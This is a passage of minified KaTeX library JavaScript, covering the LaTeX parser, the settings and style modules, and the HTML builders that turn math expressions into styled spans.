\\end{"+p.value.name+"}",d)}v.position=p.position;return v}else if(m.default.contains(e.sizeFuncs,a)){this.consumeSpaces();var g=this.parseExpression(false);return new b.default("sizing",{size:m.default.indexOf(e.sizeFuncs,a)+1,value:g},this.mode)}else if(m.default.contains(e.styleFuncs,a)){this.consumeSpaces();var y=this.parseExpression(true);return new b.default("styling",{style:a.slice(1,a.length-5),value:y},this.mode)}else if(a in e.oldFontFuncs){var x=e.oldFontFuncs[a];this.consumeSpaces();var w=this.parseExpression(true);if(x.slice(0,4)==="text"){return new b.default("text",{style:x,body:new b.default("ordgroup",w,this.mode)},this.mode)}else{return new b.default("font",{font:x,body:new b.default("ordgroup",w,this.mode)},this.mode)}}else if(a==="\\color"){var k=this.parseColorGroup(false);if(!k){throw new M.default("\\color not followed by color")}var z=this.parseExpression(true);return new b.default("color",{type:"color",color:k.result.value,value:z},this.mode)}else if(a==="$"){if(this.mode==="math"){throw new M.default("$ within math mode")}this.consume();var S=this.mode;this.switchMode("math");var A=this.parseExpression(false,"$");this.expect("$",true);this.switchMode(S);return new b.default("styling",{style:"text",value:A},"math")}else{return this.parseFunction(r)}}},{key:"parseFunction",value:function e(t){if(!t){t=this.parseGroup()}if(t){if(t.isFunction){var r=t.result;var a=o.default[r];if(this.mode==="text"&&!a.allowedInText){throw new M.default("Can't use function '"+r+"' in text mode",t.token)}else if(this.mode==="math"&&a.allowedInMath===false){throw new M.default("Can't use function '"+r+"' in math mode",t.token)}var n=this.parseArguments(r,a);var i=t.token;var l=this.callFunction(r,n,n.pop(),i);return new b.default(l.type,l,this.mode)}else{return t.result}}else{return null}}},{key:"callFunction",value:function e(t,r,a,n){var i={funcName:t,parser:this,positions:a,token:n};return o.default[t].handler(i,r)}},{key:"parseArguments",value:function e(t,r){var a=r.numArgs+r.numOptionalArgs;if(a===0){return[[this.pos]]}var n=r.greediness;var i=[this.pos];var l=[];for(var s=0;s<a;s++){var u=this.nextToken;var c=r.argTypes&&r.argTypes[s];var f=void 0;if(s<r.numOptionalArgs){if(c){f=this.parseGroupOfType(c,true)}else{f=this.parseGroup(true)}if(!f){l.push(null);i.push(this.pos);continue}}else{if(c){f=this.parseGroupOfType(c)}else{f=this.parseGroup()}if(!f){if(!this.settings.throwOnError&&this.nextToken.text[0]==="\\"){f=new S(this.handleUnsupportedCmd(this.nextToken.text),false)}else{throw new M.default("Expected group after '"+t+"'",u)}}}var h=void 0;if(f.isFunction){var v=o.default[f.result].greediness;if(v>n){h=this.parseFunction(f)}else{throw new M.default("Got function '"+f.result+"' as "+"argument to '"+t+"'",u)}}else{h=f.result}l.push(h);i.push(this.pos)}l.push(i);return l}},{key:"parseGroupOfType",value:function e(t,r){var a=this.mode;if(t==="original"){t=a}if(t==="color"){return this.parseColorGroup(r)}if(t==="size"){return this.parseSizeGroup(r)}this.switchMode(t);if(t==="text"){this.consumeSpaces()}var n=this.parseGroup(r);this.switchMode(a);return n}},{key:"consumeSpaces",value:function e(){while(this.nextToken.text===" "){this.consume()}}},{key:"parseStringGroup",value:function e(t,r){if(r&&this.nextToken.text!=="["){return null}var a=this.mode;this.mode="text";this.expect(r?"[":"{");var n="";var i=this.nextToken;var l=i;while(this.nextToken.text!==(r?"]":"}")){if(this.nextToken.text==="EOF"){throw new M.default("Unexpected end of input in "+t,i.range(this.nextToken,n))}l=this.nextToken;n+=l.text;this.consume()}this.mode=a;this.expect(r?"]":"}");return i.range(l,n)}},{key:"parseRegexGroup",value:function e(t,r){var a=this.mode;this.mode="text";var n=this.nextToken;var i=n;var l="";while(this.nextToken.text!=="EOF"&&t.test(l+this.nextToken.text)){i=this.nextToken;l+=i.text;this.consume()}if(l===""){throw new M.default("Invalid "+r+": '"+n.text+"'",n)}this.mode=a;return n.range(i,l)}},{key:"parseColorGroup",value:function e(t){var r=this.parseStringGroup("color",t);if(!r){return null}var a=/^(#[a-z0-9]+|[a-z]+)$/i.exec(r.text);if(!a){throw new M.default("Invalid color: '"+r.text+"'",r)}return new S(new b.default("color",a[0],this.mode),false)}},{key:"parseSizeGroup",value:function e(t){var r=void 0;if(!t&&this.nextToken.text!=="{"){r=this.parseRegexGroup(/^[-+]? *(?:$|\d+|\d+\.\d*|\.\d*) *[a-z]{0,2} *$/,"size")}else{r=this.parseStringGroup("size",t)}if(!r){return null}var a=/([-+]?) *(\d+(?:\.\d*)?|\.\d+) *([a-z]{2})/.exec(r.text);if(!a){throw new M.default("Invalid size: '"+r.text+"'",r)}var n={number:+(a[1]+a[2]),unit:a[3]};if(!y.default.validUnit(n)){throw new M.default("Invalid unit: '"+n.unit+"'",r)}return new S(new b.default("size",n,this.mode),false)}},{key:"parseGroup",value:function e(t){var r=this.nextToken;if(this.nextToken.text===(t?"[":"{")){this.consume();var a=this.parseExpression(false,t?"]":null);var n=this.nextToken;this.expect(t?"]":"}");if(this.mode==="text"){this.formLigatures(a)}return new S(new b.default("ordgroup",a,this.mode,r,n),false)}else{return t?null:this.parseSymbol()}}},{key:"formLigatures",value:function e(t){var r=t.length-1;for(var a=0;a<r;++a){var n=t[a];var i=n.value;if(i==="-"&&t[a+1].value==="-"){if(a+1<r&&t[a+2].value==="-"){t.splice(a,3,new b.default("textord","---","text",n,t[a+2]));r-=2}else{t.splice(a,2,new b.default("textord","--","text",n,t[a+1]));r-=1}}if((i==="'"||i==="`")&&t[a+1].value===i){t.splice(a,2,new b.default("textord",i+i,"text",n,t[a+1]));r-=1}}}},{key:"parseSymbol",value:function e(){var t=this.nextToken;if(o.default[t.text]){this.consume();return new S(t.text,true,t)}else if(d.default[this.mode][t.text]){this.consume();return new S(new b.default(d.default[this.mode][t.text].group,t.text,this.mode,t),false,t)}else if(this.mode==="text"&&x.cjkRegex.test(t.text)){this.consume();return new S(new b.default("textord",t.text,this.mode,t),false,t)}else if(t.text==="$"){return new S(t.text,false,t)}else{return null}}}]);return e}();A.endOfExpression=["}","\\end","\\right","&","\\\\","\\cr"];A.SUPSUB_GREEDINESS=1;A.sizeFuncs=["\\tiny","\\sixptsize","\\scriptsize","\\footnotesize","\\small","\\normalsize","\\large","\\Large","\\LARGE","\\huge","\\Huge"];A.styleFuncs=["\\displaystyle","\\textstyle","\\scriptstyle","\\scriptscriptstyle"];A.oldFontFuncs={"\\rm":"mathrm","\\sf":"mathsf","\\tt":"mathtt","\\bf":"mathbf","\\it":"mathit"};A.prototype.ParseNode=b.default;t.exports=A},{"./MacroExpander":27,"./ParseError":29,"./ParseNode":30,"./environments":40,"./functions":43,"./symbols":48,"./unicodeRegexes":49,"./units":50,"./utils":51,"babel-runtime/helpers/classCallCheck":4,"babel-runtime/helpers/createClass":5}],32:[function(e,t,r){"use strict";var a=e("babel-runtime/helpers/classCallCheck");var n=s(a);var i=e("./utils");var l=s(i);function s(e){return e&&e.__esModule?e:{default:e}}var o=function e(t){(0,n.default)(this,e);t=t||{};this.displayMode=l.default.deflt(t.displayMode,false);this.throwOnError=l.default.deflt(t.throwOnError,true);this.errorColor=l.default.deflt(t.errorColor,"#cc0000");this.macros=t.macros||{};this.colorIsTextColor=l.default.deflt(t.colorIsTextColor,false)};t.exports=o},{"./utils":51,"babel-runtime/helpers/classCallCheck":4}],33:[function(e,t,r){"use strict";var a=e("babel-runtime/helpers/classCallCheck");var n=s(a);var i=e("babel-runtime/helpers/createClass");var l=s(i);function s(e){return e&&e.__esModule?e:{default:e}}var o=function(){function e(t,r,a){(0,n.default)(this,e);this.id=t;this.size=r;this.cramped=a}(0,l.default)(e,[{key:"sup",value:function e(){return g[y[this.id]]}},{key:"sub",value:function e(){return g[x[this.id]]}},{key:"fracNum",value:function e(){return g[w[this.id]]}},{key:"fracDen",value:function e(){return g[b[this.id]]}},{key:"cramp",value:function e(){return g[k[this.id]]}},{key:"text",value:function e(){return g[M[this.id]]}},{key:"isTight",value:function e(){return this.size>=2}}]);return e}();var u=0;var c=1;var f=2;var h=3;var v=4;var d=5;var p=6;var m=7;var g=[new o(u,0,false),new o(c,0,true),new o(f,1,false),new o(h,1,true),new o(v,2,false),new o(d,2,true),new o(p,3,false),new o(m,3,true)];var y=[v,d,v,d,p,m,p,m];var x=[d,d,d,d,m,m,m,m];var w=[f,h,v,d,p,m,p,m];var b=[h,h,d,d,m,m,m,m];var k=[c,c,h,h,d,d,m,m];var M=[u,c,f,h,f,h,f,h];t.exports={DISPLAY:g[u],TEXT:g[f],SCRIPT:g[v],SCRIPTSCRIPT:g[p]}},{"babel-runtime/helpers/classCallCheck":4,"babel-runtime/helpers/createClass":5}],34:[function(e,t,r){"use strict";var a=e("./domTree");var n=f(a);var i=e("./fontMetrics");var l=f(i);var s=e("./symbols");var o=f(s);var u=e("./utils");var c=f(u);function f(e){return e&&e.__esModule?e:{default:e}}var h=["\\imath","\\jmath","\\pounds"];var v=function e(t,r,a){if(o.default[a][t]&&o.default[a][t].replace){t=o.default[a][t].replace}return{value:t,metrics:l.default.getCharacterMetrics(t,r)}};var d=function e(t,r,a,i,l){var s=v(t,r,a);var o=s.metrics;t=s.value;var u=void 0;if(o){var c=o.italic;if(a==="text"){c=0}u=new n.default.symbolNode(t,o.height,o.depth,c,o.skew,l)}else{typeof console!=="undefined"&&console.warn("No character metrics for '"+t+"' in style '"+r+"'");u=new n.default.symbolNode(t,0,0,0,0,l)}if(i){u.maxFontSize=i.sizeMultiplier;if(i.style.isTight()){u.classes.push("mtight")}if(i.getColor()){u.style.color=i.getColor()}}return u};var p=function e(t,r,a,n){if(t==="\\"||o.default[r][t].font==="main"){return d(t,"Main-Regular",r,a,n)}else{return d(t,"AMS-Regular",r,a,n.concat(["amsrm"]))}};var m=function e(t,r,a,n,i){if(i==="mathord"){var l=g(t,r,a,n);return d(t,l.fontName,r,a,n.concat([l.fontClass]))}else if(i==="textord"){var s=o.default[r][t]&&o.default[r][t].font;if(s==="ams"){return d(t,"AMS-Regular",r,a,n.concat(["amsrm"]))}else{return d(t,"Main-Regular",r,a,n.concat(["mathrm"]))}}else{throw new Error("unexpected type: "+i+" in mathDefault")}};var g=function e(t,r,a,n){if(/[0-9]/.test(t.charAt(0))||c.default.contains(h,t)){ return{fontName:"Main-Italic",fontClass:"mainit"}}else{return{fontName:"Math-Italic",fontClass:"mathit"}}};var y=function e(t,r,a){var n=t.mode;var i=t.value;var l=["mord"];var s=r.font;if(s){var o=void 0;if(s==="mathit"||c.default.contains(h,i)){o=g(i,n,r,l)}else{o=S[s]}if(v(i,o.fontName,n).metrics){return d(i,o.fontName,n,r,l.concat([o.fontClass||s]))}else{return m(i,n,r,l,a)}}else{return m(i,n,r,l,a)}};var x=function e(t){var r=0;var a=0;var n=0;if(t.children){for(var i=0;i<t.children.length;i++){if(t.children[i].height>r){r=t.children[i].height}if(t.children[i].depth>a){a=t.children[i].depth}if(t.children[i].maxFontSize>n){n=t.children[i].maxFontSize}}}t.height=r;t.depth=a;t.maxFontSize=n};var w=function e(t,r,a){var i=new n.default.span(t,r,a);x(i);return i};var b=function e(t,r){t.children=r.concat(t.children);x(t)};var k=function e(t){var r=new n.default.documentFragment(t);x(r);return r};var M=function e(t,r,a,i){var l=void 0;var s=void 0;var o=void 0;if(r==="individualShift"){var u=t;t=[u[0]];l=-u[0].shift-u[0].elem.depth;s=l;for(o=1;o<u.length;o++){var c=-u[o].shift-s-u[o].elem.depth;var f=c-(u[o-1].elem.height+u[o-1].elem.depth);s=s+c;t.push({type:"kern",size:f});t.push(u[o])}}else if(r==="top"){var h=a;for(o=0;o<t.length;o++){if(t[o].type==="kern"){h-=t[o].size}else{h-=t[o].elem.height+t[o].elem.depth}}l=h}else if(r==="bottom"){l=-a}else if(r==="shift"){l=-t[0].elem.depth-a}else if(r==="firstBaseline"){l=-t[0].elem.depth}else{l=0}var v=0;for(o=0;o<t.length;o++){if(t[o].type==="elem"){var d=t[o].elem;v=Math.max(v,d.maxFontSize,d.height)}}v+=2;var p=w(["pstrut"],[]);p.style.height=v+"em";var m=[];var g=l;var y=l;s=l;for(o=0;o<t.length;o++){if(t[o].type==="kern"){s+=t[o].size}else{var x=t[o].elem;var b=w([],[p,x]);b.style.top=-v-s-x.depth+"em";if(t[o].marginLeft){b.style.marginLeft=t[o].marginLeft}if(t[o].marginRight){b.style.marginRight=t[o].marginRight}m.push(b);s+=x.height+x.depth}g=Math.min(g,s);y=Math.max(y,s)}var k=w(["vlist"],m);k.style.height=y+"em";var M=void 0;if(g<0){var z=w(["vlist"],[]);z.style.height=-g+"em";var S=w(["vlist-s"],[new n.default.symbolNode("\u200b")]);M=[w(["vlist-r"],[k,S]),w(["vlist-r"],[z])]}else{M=[w(["vlist-r"],[k])]}var A=w(["vlist-t"],M);if(M.length===2){A.classes.push("vlist-t2")}A.height=y;A.depth=-g;return A};var z={"\\qquad":{size:"2em",className:"qquad"},"\\quad":{size:"1em",className:"quad"},"\\enspace":{size:"0.5em",className:"enspace"},"\\;":{size:"0.277778em",className:"thickspace"},"\\:":{size:"0.22222em",className:"mediumspace"},"\\,":{size:"0.16667em",className:"thinspace"},"\\!":{size:"-0.16667em",className:"negativethinspace"}};var S={mathbf:{variant:"bold",fontName:"Main-Bold"},mathrm:{variant:"normal",fontName:"Main-Regular"},textit:{variant:"italic",fontName:"Main-Italic"},mathbb:{variant:"double-struck",fontName:"AMS-Regular"},mathcal:{variant:"script",fontName:"Caligraphic-Regular"},mathfrak:{variant:"fraktur",fontName:"Fraktur-Regular"},mathscr:{variant:"script",fontName:"Script-Regular"},mathsf:{variant:"sans-serif",fontName:"SansSerif-Regular"},mathtt:{variant:"monospace",fontName:"Typewriter-Regular"}};t.exports={fontMap:S,makeSymbol:d,mathsym:p,makeSpan:w,makeFragment:k,makeVList:M,makeOrd:y,prependChildren:b,spacingFunctions:z}},{"./domTree":39,"./fontMetrics":41,"./symbols":48,"./utils":51}],35:[function(e,t,r){"use strict";var a=e("babel-runtime/core-js/json/stringify");var n=b(a);var i=e("./ParseError");var l=b(i);var s=e("./Style");var o=b(s);var u=e("./buildCommon");var c=b(u);var f=e("./delimiter");var h=b(f);var v=e("./domTree");var d=b(v);var p=e("./units");var m=b(p);var g=e("./utils");var y=b(g);var x=e("./stretchy");var w=b(x);function b(e){return e&&e.__esModule?e:{default:e}}var k=function e(t){return t instanceof d.default.span&&t.classes[0]==="mspace"};var M=function e(t){return t&&t.classes[0]==="mbin"};var z=function e(t,r){if(t){return y.default.contains(["mbin","mopen","mrel","mop","mpunct"],t.classes[0])}else{return r}};var S=function e(t,r){if(t){return y.default.contains(["mrel","mclose","mpunct"],t.classes[0])}else{return r}};var A=function e(t,r){var a=r;while(a<t.length&&k(t[a])){a++}if(a===r){return null}else{return t.splice(r,a-r)}};var C=function e(t,r,a){var n=[];for(var i=0;i<t.length;i++){var l=t[i];var s=L(l,r);if(s instanceof d.default.documentFragment){Array.prototype.push.apply(n,s.children)}else{n.push(s)}}for(var o=0;o<n.length;o++){var f=A(n,o);if(f){if(o<n.length){if(n[o]instanceof d.default.symbolNode){n[o]=(0,u.makeSpan)([].concat(n[o].classes),[n[o]])}c.default.prependChildren(n[o],f)}else{Array.prototype.push.apply(n,f);break}}}for(var h=0;h<n.length;h++){if(M(n[h])&&(z(n[h-1],a)||S(n[h+1],a))){n[h].classes[0]="mord"}}for(var v=0;v<n.length;v++){if(n[v].value==="\u0338"&&v+1<n.length){var p=n.slice(v,v+2);p[0].classes=["mainrm"];p[0].style.position="absolute";p[0].style.right="0";var m=n[v+1].classes;var g=(0,u.makeSpan)(m,p);if(m.indexOf("mord")!==-1){g.style.paddingLeft="0.277771em"}g.style.position="relative";n.splice(v,2,g)}}return n};var T=function e(t){if(t instanceof d.default.documentFragment){if(t.children.length){return e(t.children[t.children.length-1])}}else{if(y.default.contains(["mord","mop","mbin","mrel","mopen","mclose","mpunct","minner"],t.classes[0])){return t.classes[0]}}return null};var N=function e(t,r){if(!t.value.base){return false}else{var a=t.value.base;if(a.type==="op"){return a.value.limits&&(r.style.size===o.default.DISPLAY.size||a.value.alwaysHandleSupSub)}else if(a.type==="accent"){return q(a.value.base)}else if(a.type==="horizBrace"){var n=t.value.sub?false:true;return n===a.value.isOver}else{return null}}};var R=function e(t){if(!t){return false}else if(t.type==="ordgroup"){if(t.value.length===1){return e(t.value[0])}else{return t}}else if(t.type==="color"){if(t.value.value.length===1){return e(t.value.value[0])}else{return t}}else if(t.type==="font"){return e(t.value.body)}else{return t}};var q=function e(t){var r=R(t);return r.type==="mathord"||r.type==="textord"||r.type==="bin"||r.type==="rel"||r.type==="inner"||r.type==="open"||r.type==="close"||r.type==="punct"};var _=function e(t,r){var a=["nulldelimiter"].concat(t.baseSizingClasses());return(0,u.makeSpan)(r.concat(a))};var E={};E.mathord=function(e,t){return c.default.makeOrd(e,t,"mathord")};E.textord=function(e,t){return c.default.makeOrd(e,t,"textord")};E.bin=function(e,t){return c.default.mathsym(e.value,e.mode,t,["mbin"])};E.rel=function(e,t){return c.default.mathsym(e.value,e.mode,t,["mrel"])};E.open=function(e,t){return c.default.mathsym(e.value,e.mode,t,["mopen"])};E.close=function(e,t){return c.default.mathsym(e.value,e.mode,t,["mclose"])};E.inner=function(e,t){return c.default.mathsym(e.value,e.mode,t,["minner"])};E.punct=function(e,t){return c.default.mathsym(e.value,e.mode,t,["mpunct"])};E.ordgroup=function(e,t){return(0,u.makeSpan)(["mord"],C(e.value,t,true),t)};E.text=function(e,t){var r=t.withFont(e.value.style);var a=C(e.value.body,r,true);for(var n=0;n<a.length-1;n++){if(a[n].tryCombine(a[n+1])){a.splice(n+1,1);n--}}return(0,u.makeSpan)(["mord","text"],a,r)};E.color=function(e,t){var r=C(e.value.value,t.withColor(e.value.color),false);return new c.default.makeFragment(r)};E.supsub=function(e,t){if(N(e,t)){return E[e.value.base.type](e,t)}var r=L(e.value.base,t);var a=void 0;var n=void 0;var i=t.fontMetrics();var l=void 0;var s=0;var f=0;if(e.value.sup){l=t.havingStyle(t.style.sup());a=L(e.value.sup,l,t);if(!q(e.value.base)){s=r.height-l.fontMetrics().supDrop*l.sizeMultiplier/t.sizeMultiplier}}if(e.value.sub){l=t.havingStyle(t.style.sub());n=L(e.value.sub,l,t);if(!q(e.value.base)){f=r.depth+l.fontMetrics().subDrop*l.sizeMultiplier/t.sizeMultiplier}}var h=void 0;if(t.style===o.default.DISPLAY){h=i.sup1}else if(t.style.cramped){h=i.sup3}else{h=i.sup2}var v=t.sizeMultiplier;var p=.5/i.ptPerEm/v+"em";var m=void 0;if(!e.value.sup){f=Math.max(f,i.sub1,n.height-.8*i.xHeight);var g=[{type:"elem",elem:n,marginRight:p}];if(r instanceof d.default.symbolNode){g[0].marginLeft=-r.italic+"em"}m=c.default.makeVList(g,"shift",f,t)}else if(!e.value.sub){s=Math.max(s,h,a.depth+.25*i.xHeight);m=c.default.makeVList([{type:"elem",elem:a,marginRight:p}],"shift",-s,t)}else{s=Math.max(s,h,a.depth+.25*i.xHeight);f=Math.max(f,i.sub2);var y=i.defaultRuleThickness;if(s-a.depth-(n.height-f)<4*y){f=4*y-(s-a.depth)+n.height;var x=.8*i.xHeight-(s-a.depth);if(x>0){s+=x;f-=x}}var w=[{type:"elem",elem:n,shift:f,marginRight:p},{type:"elem",elem:a,shift:-s,marginRight:p}];if(r instanceof d.default.symbolNode){w[0].marginLeft=-r.italic+"em"}m=c.default.makeVList(w,"individualShift",null,t)}var b=T(r)||"mord";return(0,u.makeSpan)([b],[r,(0,u.makeSpan)(["msupsub"],[m])],t)};E.genfrac=function(e,t){var r=t.style;if(e.value.size==="display"){r=o.default.DISPLAY}else if(e.value.size==="text"){r=o.default.TEXT}var a=r.fracNum();var n=r.fracDen();var i=void 0;i=t.havingStyle(a);var l=L(e.value.numer,i,t);i=t.havingStyle(n);var s=L(e.value.denom,i,t);var f=void 0;var v=void 0;var d=void 0;if(e.value.hasBarLine){f=B("frac-line",t);v=f.height;d=f.height}else{f=null;v=0;d=t.fontMetrics().defaultRuleThickness}var p=void 0;var m=void 0;var g=void 0;if(r.size===o.default.DISPLAY.size){p=t.fontMetrics().num1;if(v>0){m=3*d}else{m=7*d}g=t.fontMetrics().denom1}else{if(v>0){p=t.fontMetrics().num2;m=d}else{p=t.fontMetrics().num3;m=3*d}g=t.fontMetrics().denom2}var y=void 0;if(v===0){var x=p-l.depth-(s.height-g);if(x<m){p+=.5*(m-x);g+=.5*(m-x)}y=c.default.makeVList([{type:"elem",elem:s,shift:g},{type:"elem",elem:l,shift:-p}],"individualShift",null,t)}else{var w=t.fontMetrics().axisHeight;if(p-l.depth-(w+.5*v)<m){p+=m-(p-l.depth-(w+.5*v))}if(w-.5*v-(s.height-g)<m){g+=m-(w-.5*v-(s.height-g))}var b=-(w-.5*v);y=c.default.makeVList([{type:"elem",elem:s,shift:g},{type:"elem",elem:f,shift:b},{type:"elem",elem:l,shift:-p}],"individualShift",null,t)}i=t.havingStyle(r);y.height*=i.sizeMultiplier/t.sizeMultiplier;y.depth*=i.sizeMultiplier/t.sizeMultiplier;var k=void 0;if(r.size===o.default.DISPLAY.size){k=t.fontMetrics().delim1}else{k=t.fontMetrics().delim2}var M=void 0;var z=void 0;if(e.value.leftDelim==null){M=_(t,["mopen"])}else{M=h.default.customSizedDelim(e.value.leftDelim,k,true,t.havingStyle(r),e.mode,["mopen"])}if(e.value.rightDelim==null){z=_(t,["mclose"])}else{z=h.default.customSizedDelim(e.value.rightDelim,k,true,t.havingStyle(r),e.mode,["mclose"])}return(0,u.makeSpan)(["mord"].concat(i.sizingClasses(t)),[M,(0,u.makeSpan)(["mfrac"],[y]),z],t)};E.array=function(e,t){var r=void 0;var a=void 0;var n=e.value.body.length;var i=0;var s=new Array(n);var o=1/t.fontMetrics().ptPerEm;var f=5*o;var h=12*o;var v=3*o;var d=y.default.deflt(e.value.arraystretch,1);var p=d*h;var g=.7*p;var x=.3*p;var w=0;for(r=0;r<e.value.body.length;++r){var b=e.value.body[r];var k=g;var M=x;if(i<b.length){i=b.length}var z=new Array(b.length);for(a=0;a<b.length;++a){var S=L(b[a],t);if(M<S.depth){M=S.depth}if(k<S.height){k=S.height}z[a]=S}var A=0;if(e.value.rowGaps[r]){A=m.default.calculateSize(e.value.rowGaps[r].value,t);if(A>0){A+=x;if(M<A){M=A}A=0}}if(e.value.addJot){M+=v}z.height=k;z.depth=M;w+=k;z.pos=w;w+=M+A;s[r]=z}var C=w/2+t.fontMetrics().axisHeight;var T=e.value.cols||[];var N=[];var R=void 0;var q=void 0;for(a=0,q=0;a<i||q<T.length;++a,++q){var _=T[q]||{};var E=true;while(_.type==="separator"){if(!E){R=(0,u.makeSpan)(["arraycolsep"],[]);R.style.width=t.fontMetrics().doubleRuleSep+"em";N.push(R)}if(_.separator==="|"){var B=(0,u.makeSpan)(["vertical-separator"],[]);B.style.height=w+"em";B.style.verticalAlign=-(w-C)+"em";N.push(B)}else{throw new l.default("Invalid separator type: "+_.separator)}q++;_=T[q]||{};E=false}if(a>=i){continue}var O=void 0;if(a>0||e.value.hskipBeforeAndAfter){O=y.default.deflt(_.pregap,f);if(O!==0){R=(0,u.makeSpan)(["arraycolsep"],[]);R.style.width=O+"em";N.push(R)}}var P=[];for(r=0;r<n;++r){var F=s[r];var H=F[a];if(!H){continue}var D=F.pos-C;H.depth=F.depth;H.height=F.height;P.push({type:"elem",elem:H,shift:D})}P=c.default.makeVList(P,"individualShift",null,t);P=(0,u.makeSpan)(["col-align-"+(_.align||"c")],[P]);N.push(P);if(a<i-1||e.value.hskipBeforeAndAfter){O=y.default.deflt(_.postgap,f);if(O!==0){R=(0,u.makeSpan)(["arraycolsep"],[]);R.style.width=O+"em";N.push(R)}}}s=(0,u.makeSpan)(["mtable"],N);return(0,u.makeSpan)(["mord"],[s],t)};E.spacing=function(e,t){if(e.value==="\\ "||e.value==="\\space"||e.value===" "||e.value==="~"){if(e.mode==="text"){return c.default.makeOrd(e,t,"textord")}else{return(0,u.makeSpan)(["mspace"],[c.default.mathsym(e.value,e.mode,t)],t)}}else{return(0,u.makeSpan)(["mspace",c.default.spacingFunctions[e.value].className],[],t)}};E.llap=function(e,t){var r=(0,u.makeSpan)(["inner"],[L(e.value.body,t)]);var a=(0,u.makeSpan)(["fix"],[]);return(0,u.makeSpan)(["mord","llap"],[r,a],t)};E.rlap=function(e,t){var r=(0,u.makeSpan)(["inner"],[L(e.value.body,t)]);var a=(0,u.makeSpan)(["fix"],[]);return(0,u.makeSpan)(["mord","rlap"],[r,a],t)};E.op=function(e,t){var r=void 0;var a=void 0;var n=false;if(e.type==="supsub"){r=e.value.sup;a=e.value.sub;e=e.value.base;n=true}var i=t.style;var l=["\\smallint"];var s=false;if(i.size===o.default.DISPLAY.size&&e.value.symbol&&!y.default.contains(l,e.value.body)){s=true}var f=void 0;if(e.value.symbol){var h=s?"Size2-Regular":"Size1-Regular";f=c.default.makeSymbol(e.value.body,h,"math",t,["mop","op-symbol",s?"large-op":"small-op"])}else if(e.value.value){var v=C(e.value.value,t,true);if(v.length===1&&v[0]instanceof d.default.symbolNode){f=v[0];f.classes[0]="mop"}else{f=(0,u.makeSpan)(["mop"],v,t)}}else{var p=[];for(var m=1;m<e.value.body.length;m++){p.push(c.default.mathsym(e.value.body[m],e.mode))}f=(0,u.makeSpan)(["mop"],p,t)}var g=0;var x=0;if(f instanceof d.default.symbolNode){g=(f.height-f.depth)/2-t.fontMetrics().axisHeight;x=f.italic}if(n){f=(0,u.makeSpan)([],[f]);var w=void 0;var b=void 0;var k=void 0;var M=void 0;var z=void 0;if(r){z=t.havingStyle(i.sup());w=L(r,z,t);b=Math.max(t.fontMetrics().bigOpSpacing1,t.fontMetrics().bigOpSpacing3-w.depth)}if(a){z=t.havingStyle(i.sub());k=L(a,z,t);M=Math.max(t.fontMetrics().bigOpSpacing2,t.fontMetrics().bigOpSpacing4-k.height)}var S=void 0;var A=void 0;var T=void 0;if(!r){A=f.height-g;S=c.default.makeVList([{type:"kern",size:t.fontMetrics().bigOpSpacing5},{type:"elem",elem:k,marginLeft:-x+"em"},{type:"kern",size:M},{type:"elem",elem:f}],"top",A,t)}else if(!a){T=f.depth+g;S=c.default.makeVList([{type:"elem",elem:f},{type:"kern",size:b},{type:"elem",elem:w,marginLeft:x+"em"},{type:"kern",size:t.fontMetrics().bigOpSpacing5}],"bottom",T,t)}else if(!r&&!a){return f}else{T=t.fontMetrics().bigOpSpacing5+k.height+k.depth+M+f.depth+g;S=c.default.makeVList([{type:"kern",size:t.fontMetrics().bigOpSpacing5},{type:"elem",elem:k,marginLeft:-x+"em"},{type:"kern",size:M},{type:"elem",elem:f},{type:"kern",size:b},{type:"elem",elem:w,marginLeft:x+"em"},{type:"kern",size:t.fontMetrics().bigOpSpacing5}],"bottom",T,t)}return(0,u.makeSpan)(["mop","op-limits"],[S],t)}else{if(g){f.style.position="relative";f.style.top=g+"em"}return f}};E.mod=function(e,t){var r=[];if(e.value.modType==="bmod"){if(!t.style.isTight()){r.push((0,u.makeSpan)(["mspace","negativemediumspace"],[],t))}r.push((0,u.makeSpan)(["mspace","thickspace"],[],t))}else if(t.style.size===o.default.DISPLAY.size){r.push((0,u.makeSpan)(["mspace","quad"],[],t))}else if(e.value.modType==="mod"){r.push((0,u.makeSpan)(["mspace","twelvemuspace"],[],t))}else{r.push((0,u.makeSpan)(["mspace","eightmuspace"],[],t))}if(e.value.modType==="pod"||e.value.modType==="pmod"){r.push(c.default.mathsym("(",e.mode))}if(e.value.modType!=="pod"){var a=[c.default.mathsym("m",e.mode),c.default.mathsym("o",e.mode),c.default.mathsym("d",e.mode)];if(e.value.modType==="bmod"){r.push((0,u.makeSpan)(["mbin"],a,t));r.push((0,u.makeSpan)(["mspace","thickspace"],[],t));if(!t.style.isTight()){r.push((0,u.makeSpan)(["mspace","negativemediumspace"],[],t))}}else{Array.prototype.push.apply(r,a);r.push((0,u.makeSpan)(["mspace","sixmuspace"],[],t))}}if(e.value.value){Array.prototype.push.apply(r,C(e.value.value,t,false))}if(e.value.modType==="pod"||e.value.modType==="pmod"){r.push(c.default.mathsym(")",e.mode))}return c.default.makeFragment(r)};E.katex=function(e,t){var r=(0,u.makeSpan)(["k"],[c.default.mathsym("K",e.mode)],t);var a=(0,u.makeSpan)(["a"],[c.default.mathsym("A",e.mode)],t);a.height=(a.height+.2)*.75;a.depth=(a.height-.2)*.75;var n=(0,u.makeSpan)(["t"],[c.default.mathsym("T",e.mode)],t);var i=(0,u.makeSpan)(["e"],[c.default.mathsym("E",e.mode)],t);i.height=i.height-.2155;i.depth=i.depth+.2155;var l=(0,u.makeSpan)(["x"],[c.default.mathsym("X",e.mode)],t);return(0,u.makeSpan)(["mord","katex-logo"],[r,a,n,i,l],t)};var B=function e(t,r,a){var n=(0,u.makeSpan)([t],[],r);n.height=a||r.fontMetrics().defaultRuleThickness;n.style.borderBottomWidth=n.height+"em";n.maxFontSize=1;return n};E.overline=function(e,t){var r=L(e.value.body,t.havingCrampedStyle());var a=B("overline-line",t);var n=c.default.makeVList([{type:"elem",elem:r},{type:"kern",size:3*a.height},{type:"elem",elem:a},{type:"kern",size:a.height}],"firstBaseline",null,t);return(0,u.makeSpan)(["mord","overline"],[n],t)};E.underline=function(e,t){var r=L(e.value.body,t);var a=B("underline-line",t);var n=c.default.makeVList([{type:"kern",size:a.height},{type:"elem",elem:a},{type:"kern",size:3*a.height},{type:"elem",elem:r}],"top",r.height,t);return(0,u.makeSpan)(["mord","underline"],[n],t)};E.sqrt=function(e,t){var r=L(e.value.body,t.havingCrampedStyle());if(r instanceof d.default.documentFragment){r=(0,u.makeSpan)([],[r],t)}var a=t.fontMetrics();var n=a.defaultRuleThickness;var i=n;if(t.style.id<o.default.TEXT.id){i=t.fontMetrics().xHeight}var l=n+i/4;var 